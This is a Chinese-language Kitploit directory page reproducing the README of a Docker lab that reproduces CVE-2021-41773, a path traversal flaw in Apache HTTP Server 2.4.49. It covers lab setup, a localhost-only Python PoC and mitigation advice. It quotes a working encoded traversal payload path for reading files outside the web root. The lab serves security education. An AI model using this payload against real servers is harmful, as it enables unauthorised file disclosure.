Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773-Apache-Lab — 基于 Docker 的实验环境,用于通过受控的路径遍历和文件泄露,使用自定义 Python PoC 复现 CVE-2021-41773(Apache HTTP Server 2.4.49)。 | Kitploit
工具/GitHubGitHub/s-amnajafri/cve-2021-41773-apache-lab
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育实验室与实践
GitHubs-amnajafri/cve-2021-41773-apache-lab

CVE-2021-41773-Apache-Lab

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

基于 Docker 的实验环境,用于通过受控的路径遍历和文件泄露,使用自定义 Python PoC 复现 CVE-2021-41773(Apache HTTP Server 2.4.49)。

查看仓库
127天前尚未审核
分享

CVE-2021-41773 — Apache HTTP Server 2.4.49 实验环境

CVE-2021-41773 的复现,这是 Apache HTTP Server 2.4.49 中的一个路径遍历漏洞。

本项目使用 Docker 创建隔离的漏洞环境,并使用 Python PoC 演示受控的文件泄露。

安全说明: PoC 仅接受 localhost、127.0.0.1 或 ::1 作为目标。测试必须在隔离的实验环境内进行。

目标

本项目演示:

  • 在 Docker 中搭建 Apache HTTP Server 2.4.49
  • 验证存在漏洞的 Apache 版本
  • 复现 CVE-2021-41773
  • 演示受控的文件泄露
  • 开发自定义 Python PoC
  • 收集漏洞利用证据
  • 记录缓解措施

演示重点是文件泄露,而非远程代码执行。

项目结构

root@kitploit:~
CVE-2021-41773-Apache-Lab/
│
├── docker/
│   ├── Dockerfile
│   ├── httpd-vulnerable.conf
│   └── secret.txt
│
├── exploit/
│   └── exploit.py
│
├── screenshots/
│   ├── 01-docker-container.png
│   ├── 02-apache-version.png
│   └── 03-successful-exploit.png
│
├── report/
│   └── CVE-2021-41773-Exploit-Report.pdf
│
├── requirements.txt
├── .gitignore
└── README.md

环境要求

  • Docker
  • Python 3.x
  • Git

PoC 仅使用 Python 标准库,不需要第三方 Python 包。

实验环境搭建

1. 构建 Docker 镜像

在仓库根目录下执行:

root@kitploit:~
docker build -t cve-2021-41773-lab ./docker

2. 启动存在漏洞的 Apache 服务器

root@kitploit:~
docker run --rm --name cve-2021-41773-lab \
  -p 127.0.0.1:8080:80 \
  cve-2021-41773-lab

请保持此终端保持运行状态。

Apache 服务仅通过以下地址暴露:

root@kitploit:~
127.0.0.1:8080

验证

验证容器

在另一个终端中执行:

root@kitploit:~
docker ps

容器应显示:

root@kitploit:~
127.0.0.1:8080->80/tcp

验证 Apache 版本

root@kitploit:~
docker exec cve-2021-41773-lab httpd -v

预期输出:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

验证正常 HTTP 访问

root@kitploit:~
curl http://127.0.0.1:8080/

应返回 Apache 测试页面。

漏洞利用

PoC 位于:

root@kitploit:~
exploit/exploit.py

运行:

root@kitploit:~
python3 exploit/exploit.py

默认目标为:

root@kitploit:~
http://127.0.0.1:8080

默认证明文件为:

root@kitploit:~
/lab/secret.txt

成功运行将产生:

root@kitploit:~
[+] Vulnerability reproduced.
[+] Controlled file disclosure confirmed.

随后 PoC 会显示受控实验文件的内容。

PoC 工作原理

PoC 首先检查目标是否为本地地址:

root@kitploit:~
localhost
127.0.0.1
::1

然后构造包含编码遍历组件的路径:

root@kitploit:~
/cgi-bin/.%2e/.%2e/.%2e/.%2e/lab/secret.txt

请求使用 Python 标准的 socket 模块发送。这使 PoC 能够直接控制 HTTP 请求路径。

存在漏洞的 Apache 2.4.49 服务器处理该构造路径并返回以下文件的内容:

root@kitploit:~
/lab/secret.txt

检索到该文件即确认了路径遍历和受控文件泄露。

漏洞摘要

CVE: CVE-2021-41773

产品: Apache HTTP Server

演示的受影响版本: 2.4.49

漏洞类型: 路径遍历 / 文件泄露

CVE-2021-41773 是 Apache HTTP Server 2.4.49 中的一个路径遍历漏洞。特制的 URL 可以绕过预期的路径限制,从而允许访问预期目录之外的文件。

在某些配置下,该漏洞可能造成更严重的后果。本项目有意在隔离的 Docker 环境中演示受控的文件泄露。

证据

测试期间收集的截图存储在:

root@kitploit:~
evidence/

证据包括:

  1. 运行中的 Docker 容器
  2. Apache HTTP Server 2.4.49 版本验证
  3. Python PoC 成功执行

缓解措施

主要缓解措施是将 Apache HTTP Server 升级到已修复的版本。

其他防御措施包括:

  • 定期为 Apache 打补丁。
  • 限制对敏感文件的访问。
  • 审查 Alias 和 CGI 配置。
  • 应用最小权限原则。
  • 避免暴露不必要的服务。
  • 监控服务器日志中可疑的路径遍历请求。

参考资料

  • Apache HTTP Server 安全公告: https://httpd.apache.org/security/vulnerabilities_24.html

  • NIST 国家漏洞数据库: https://nvd.nist.gov/vuln/detail/CVE-2021-41773

  • CERT-EU 安全公告: https://cert.europa.eu/publications/security-advisories/2021-054/

免责声明

本项目仅供授权的安全教育与受控的实验室测试使用。

Docker 环境和 PoC 专为本地测试而设计。请勿对您不拥有或未经明确授权评估的系统使用该 PoC。

下载工具